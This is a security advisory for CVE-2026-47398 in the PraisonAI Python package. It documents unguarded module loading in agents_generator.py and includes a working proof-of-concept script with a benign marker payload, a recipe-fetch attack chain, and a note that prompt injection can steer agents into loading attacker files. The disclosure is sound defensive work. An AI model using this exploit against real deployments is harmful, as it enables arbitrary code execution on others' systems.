CVE-2026-47398: PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334
Arbitrary code execution via ungated spec.loader.execmodule in agentsgenerator.py (v4.6.32 chokepoint refactor bypass) Summary The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAIALLOWLOCALTOOLS env-var gate to the tooloverride.py sinks.
Published May 29, 2026
Affected packages
PraisonAI
- Ecosystem
- PyPI
- Affected
- <= 4.6.39
- Fixed in
- 4.6.40
- Check
pip show PraisonAI
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass) Summary The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. Patch lineage
CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py
Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched. Vulnerable code # praisonai/agents_generator.py (master HEAD; v4.6.37)
336 def load_tools_from_module(self, module_path):
...
349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate
372 def load_tools_from_module_class(self, module_path):
... (same pattern — spec_from_file_location → exec_module, no gate)
Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be: Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True). Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer. Attack chain (recipe vector) HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools:
- module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE
No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call. PoC #!/usr/bin/env bash
Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail
WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT
1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)
def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF
2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools:
- evil.py
YAMLEOF
3. Run
cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "
4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi Impact Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account. Severity High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) CWE CWE-94: Improper Control of Generation of Code ('Code Injection') CWE-426: Untrusted Search Path CWE-829: Inclusion of Functionality from Untrusted Control Sphere Affected versions All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD). Suggested fix Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py: import os
def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return []
... existing logic ...
def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return []
... existing logic ...
Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths. Credit Kai Aizen & Avraham Shemesh / SnailSploit## Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)
TL;DR
The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional `spec.loader.exec_module` call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.
Patch lineage
| CVE | GHSA | Fixed in | What was patched | | CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD `tools.py` auto-load in `tool_resolver.py` | | CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to `tool_resolver.py` + `api/call.py` | | CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in `templates/tool_override.py` | | **This finding** | — | **unfixed** | Missed sinks in `agents_generator.py` |
Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.
Vulnerable code
# praisonai/agents_generator.py (master HEAD; v4.6.37)
336 def load_tools_from_module(self, module_path):
# ...
349 spec = importlib.util.spec_from_file_location("tools_module", module_path)
350 module = importlib.util.module_from_spec(spec)
351 spec.loader.exec_module(module) # ← NO gate
372 def load_tools_from_module_class(self, module_path):
# ... (same pattern — spec_from_file_location → exec_module, no gate)Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:
- Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
- Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (
POST /v1/recipes/runwithallow_any_github=True). - Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.
Attack chain (recipe vector)
HTTP POST /v1/recipes/run
body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
│
▼
Recipe fetched → agents.yaml contains:
tools:
- module_path: ./evil.py # colocated in recipe dir
│
▼
AgentsGenerator.load_tools_from_module("./evil.py")
│
▼
agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py")
agents_generator.py:351 spec.loader.exec_module(module) ← RCENo PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.
PoC
#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail
WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT
# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)
def dummy_tool():
"""Placeholder so tool scan finds something."""
pass
PYEOF
# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
poc_agent:
role: PoC
goal: Trigger load_tools_from_module
backstory: n/a
tools:
- evil.py
YAMLEOF
# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
ai = PraisonAI(agent_file='agents.yaml')
ai.main()
except Exception:
pass # downstream failure expected; exec_module already fired
"
# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
echo "SUCCESS — marker file written by server process:"
cat "$MARKER"
else
echo "FAIL — marker not found"
exit 1
fiImpact
Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.
Severity
High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)
When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
CWE
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CWE-426: Untrusted Search Path
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Affected versions
All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).
Suggested fix
Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:
import os
def load_tools_from_module(self, module_path):
if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
return []
# ... existing logic ...
def load_tools_from_module_class(self, module_path):
if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
return []
# ... existing logic ...Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.
Credit
Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com)
Credited to SnailSploit.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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